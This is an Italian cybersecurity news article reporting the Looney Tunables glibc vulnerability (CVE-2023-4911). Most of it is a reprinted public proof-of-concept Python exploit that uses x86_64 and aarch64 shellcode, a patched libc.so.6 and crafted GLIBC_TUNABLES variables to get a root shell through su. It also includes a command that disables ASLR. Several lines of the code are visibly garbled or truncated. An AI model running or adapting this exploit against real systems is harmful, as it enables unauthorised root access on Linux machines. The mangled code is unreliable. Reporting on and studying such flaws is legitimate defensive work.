Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca
Red Hot Cyber Academy

Linux Looney Tunables: l’exploit è fuori e il livello di utilizzo è veramente basso

Redazione RHC : 6 Ottobre 2023 16:22

Prima che avessimo il tempo di parlarvi della vulnerabilità “Looney Tunables”, tracciata con l’identificatore CVE-2023-4911, su Internet era già apparso un exploit PoC che consente di sfruttare con successo questa vulnerabilità in un attacco reale.

Inoltre, la complessità dello sfruttamento della vulnerabilità è a un livello estremamente basso: anche un hacker alle prime armi può farcela. Il codice lo trovate più avanti.

Looney Tunables consente agli aggressori di ottenere privilegi di root sui sistemi Linux sfruttando un difetto di buffer overflow. La falla di sicurezza colpisce le installazioni standard di Debian 12 e 13, Ubuntu 22.04 e 23.04 e Fedora 37 e 38.

Iscriviti GRATIS ai WorkShop Hands-On della RHC Conference 2025 (Giovedì 8 maggio 2025)

Il giorno giovedì 8 maggio 2025 presso il teatro Italia di Roma (a due passi dalla stazione termini e dalla metro B di Piazza Bologna), si terranno i workshop "hands-on", creati per far avvicinare i ragazzi (o persone di qualsiasi età) alla sicurezza informatica e alla tecnologia. Questo anno i workshop saranno:

  • Creare Un Sistema Ai Di Visual Object Tracking (Hands on)
  • Social Engineering 2.0: Alla Scoperta Delle Minacce DeepFake
  • Doxing Con Langflow: Stiamo Costruendo La Fine Della Privacy?
  • Come Hackerare Un Sito WordPress (Hands on)
  • Il Cyberbullismo Tra Virtuale E Reale
  • Come Entrare Nel Dark Web In Sicurezza (Hands on)

  • Potete iscrivervi gratuitamente all'evento, che è stato creato per poter ispirare i ragazzi verso la sicurezza informatica e la tecnologia.
    Per ulteriori informazioni, scrivi a [email protected] oppure su Whatsapp al 379 163 8765


    Supporta RHC attraverso:


    Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.

    I criminali informatici possono sfruttare la vulnerabilità utilizzando una variabile di ambiente dannosa “GLIBC_TUNABLES” gestita dal loader dinamico “ld.so” per causare l’esecuzione di codice arbitrario come root quando si eseguono file binari con autorizzazione SUID.

    Uno degli exploit PoC, già confermato e funzionante dall’esperto di vulnerabilità Will Dohrmann, è stato pubblicato dal ricercatore indipendente sulla sicurezza Peter Geissler con lo pseudonimo di “blasty”.

    #
    # gnu-acme.py
    # ------------------------------------------------------------------------------
    # my (bad) attempt at a CVE-2023-4911 exploit
    # based on the advisory[1] by Qualys and thumb sucking
    #
    # if you disable aslr (echo 0 > /proc/sys/kernel/randomize_va_space) it will
    # attempt to identify a workable offset for your ld.so, you can add it to TARGETS
    #
    # tested on glibc 2.35-0ubuntu3 (aarch64) and glibc 2.36-9+deb12u2 (amd64)
    #
    # enjoy, maybe? and don't ask for support :)
    #
    # -- blasty 
    #
    # [1]: https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
    #
    
    import binascii
    import resource
    import struct
    import select
    import time
    
    import sys
    import os
    
    from ctypes import *
    from ctypes.util import find_library
    from shutil import which
    
    unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
    
    # setresuid(euid, euid, euid); execve("/bin/sh", ["sh", NULL], NULL);
    # exit(0x66)
    ARCH = {
        "x86_64": {
            "shellcode": unhex(
                "6a6b580f0589c789c289c66a75580f05"
                + "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
            ),
            "exitcode": unhex("6a665f6a3c580f05"),
            "stack_top": 0x800000000000,
            "stack_aslr_bits": 34,
        },
        "aarch64": {
            "shellcode": unhex(
                "e81580d2010000d4e10300aae20300aa681280d2010000d4"
                + "ee458cd22ecdadf2eee5c5f2ee65eef20f0d80d2ee3fbfa9e0030091e1031faae2031faaa81b80d2010000d4"
            ),
            "exitcode": unhex("c00c80d2a80b80d2010000d4"),
            "stack_top": 0x1000000000000,
            "stack_aslr_bits": 30,
        },
    }
    
    TARGETS = {
        "a8daca28288575ffc8c7641d40901b0148958fb1": 580,
        "a99db3715218b641780b04323e4ae5953d68a927": 561,
    }
    
    libc = cdll.LoadLibrary("libc.so.6")
    libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
    resource.setrlimit(
        resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
    )
    
    
    def error(s):
        print("error: %s" % s)
        exit(-1)
    
    
    def find_hax_path(blob, offset):
        pos = offset
        while pos > 0:
            if blob[pos] != 0 and blob[pos] != 0x2F and blob[pos + 1] == 0:
                return {"path": bytes([blob[pos]]), "offset": pos - offset}
            pos = pos - 1
        return None
    
    
    def lolstruct(format, keys, data):
        return dict(zip(keys.split(" "), struct.unpack(format, data)))
    
    
    def lib_path(libname):
        class LINKMAP(Structure):
            _fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]
    
        lib = CDLL(find_library("c"))
        libdl = CDLL(find_library("dl"))
        dlinfo = libdl.dlinfo
        dlinfo.argtypes = c_void_p, c_int, c_void_p
        dlinfo.restype = c_int
        lmptr = c_void_p()
        dlinfo(lib._handle, 2, byref(lmptr))
        return cast(lmptr, POINTER(LINKMAP)).contents.l_name
    
    
    def execve(filename, cargv, cenvp):
        libc.execve(filename, cargv, cenvp)
    
    
    def spawn(filename, argv, envp):
        cargv = (c_char_p * len(argv))(*argv)
        cenvp = (c_char_p * len(envp))(*envp)
        child_pid = os.fork()
        # child
        if not child_pid:
            execve(filename, cargv, cenvp)
            exit(0)
    
        # parent
        start_time = time.time()
        while True:
            try:
                pid, status = os.waitpid(child_pid, os.WNOHANG)
                if pid == child_pid:
                    if os.WIFEXITED(status):
                        return os.WEXITSTATUS(status) & 0xFF7F
                    else:
                        return 0
            except:
                pass
            current_time = time.time()
            if current_time - start_time >= 1.5:
                print("** ohh... looks like we got a shell? **\n")
                os.waitpid(child_pid, 0)
                return 0x1337
    
    
    class lazy_elf:
        def __init__(self, filename):
            self.d = open(filename, "rb").read()
            self.h = lolstruct(
                " 0
    
    
    def build_env(adjust, addr, offset):
        # heap meh shui
        env = [
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
        ]
    
        for j in range(172):
            env.append(b"")
    
        env.append(struct.pack(" --      ")
        print("")
    
    
    if __name__ == "__main__":
        banner()
    
        machine = os.uname().machine
    
        if machine not in ARCH.keys():
            error("architecture '%s' not supported" % machine)
    
        print("[i] libc = %s" % lib_path("c").decode())
    
        su_path = which("su")
    
        print("[i] su = %s" % su_path)
    
        suid_e = lazy_elf(su_path)
    
        ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()
    
        ld_e = lazy_elf(ld_path)
    
        print("[i] ld.so = %s" % ld_path)
    
        ld_build_id = binascii.hexlify(
            ld_e.section_by_name(".note.gnu.build-id")[-20:]
        ).decode()
    
        print("[i] ld.so build id = %s" % ld_build_id)
    
        libc_e = lazy_elf(lib_path("c"))
    
        __libc_start_main = libc_e.symbol("__libc_start_main")
    
        print("[i] __libc_start_main = 0x%x" % __libc_start_main)
    
        offset = suid_e.shdr_by_name(".dynstr")["offset"]
        hax_path = find_hax_path(suid_e.d, offset)
    
        if hax_path is None:
            error("could not find hax path")
    
        print(
            "[i] using hax path %s at offset %d"
            % (
                hax_path["path"],
                hax_path["offset"],
            )
        )
    
        if ld_build_id not in TARGETS.keys():
            error("no target info found for build id %s" % ld_build_id)
    
        if not os.path.exists(hax_path["path"]):
            os.mkdir(hax_path["path"])
    
        argv = build_argv([su_path, "--help"])
    
        if not is_aslr_enabled():
            print("[i] ASLR is not enabled, attempting to find usable offsets")
    
            shellcode = ARCH[machine]["exitcode"]
    
            with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
                fh.write(libc_e.d[0:__libc_start_main])
                fh.write(shellcode)
                fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
            print("[i] wrote patched libc.so.6")
    
            stack_addr = ARCH[machine]["stack_top"] - 0x2000
            stack_addr += 0x103
    
            print("[i] using stack addr 0x%x" % stack_addr)
    
            for adjust in range(128, 1024):
                env = build_env(adjust, stack_addr, hax_path["offset"])
                r = spawn(su_path.encode(), argv, env)
                print("%d = %d" % (adjust, r))
                if r == 0x66:
                    print(
                        "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                    )
    
        else:
            shellcode = ARCH[machine]["shellcode"]
    
            with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
                fh.write(libc_e.d[0:__libc_start_main])
                fh.write(shellcode)
                fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
            print("[i] wrote patched libc.so.6")
    
            stack_addr = ARCH[machine]["stack_top"] - (
                1 > (i * 8)) & 0xFF == 0:
                    stack_addr |= 0x10 

    Anche altri ricercatori stanno sviluppando e pubblicando contemporaneamente i propri exploit per CVE-2023-4911 su GitHub e altre piattaforme.

    “Il nostro riuscito sfruttamento che ha portato all’accesso root completo sulle principali distribuzioni come Fedora, Ubuntu e Debian sottolinea la gravità e la natura diffusa di questa vulnerabilità”, ha affermato Saeed Abbasi, product manager del team di ricerca sulle minacce di Qualys, il 3 ottobre

    Sono stati gli esperti di Qualys i primi a identificare questa vulnerabilità.

    Gli amministratori devono agire immediatamente e proteggere le installazioni Linux sotto il loro controllo il prima possibile a causa della significativa minaccia rappresentata da Looney Tunables.

    Redazione
    La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

    Lista degli articoli

    Articoli in evidenza

    Op_Italy: un attacco DDoS di Mr Hamza è stato sferrato contro il Ministero Della Difesa italiana

    Sabato 3 maggio, un post pubblicato su un canale Telegram legato al gruppo “Mr Hamza” ha rivendicato un cyberattacco ai danni del Ministero della Difesa italiano. Il messaggio, scritto i...

    Hai cambiato la password? Tranquillo, RDP se ne frega! La Scoperta Shock su Windows

    Microsoft ha confermato che il protocollo RDP (Remote Desktop Protocol) consente l’accesso ai sistemi Windows anche utilizzando password già modificate o revocate. L’azienda ha chia...

    Attenti italiani! Una Finta Multa da pagare tramite PagoPA vuole svuotarti il conto

    Una nuova campagna di phishing sta circolando in queste ore con un obiettivo ben preciso: spaventare le vittime con la minaccia di una multa stradale imminente e gonfiata, apparentemente proveniente d...

    Italia sarai pronta al Blackout Digitale? Dopo La Spagna l’attacco informatico alla NS Power

    Negli ultimi giorni, NS Power, una delle principali aziende elettriche canadesi, ha confermato di essere stata vittima di un attacco informatico e ha pubblicato degli update all’interno della H...

    Sicurezza è Lavoro: dal cantiere al cloud, dobbiamo proteggere chi costruisce l’Italia!

    1° Maggio, un giorno per onorare chi lavora, chi lotta per farlo in modo dignitoso e chi, troppo spesso, perde la vita mentre svolge la propria mansione. Nel 2025, l’Italia continua a pian...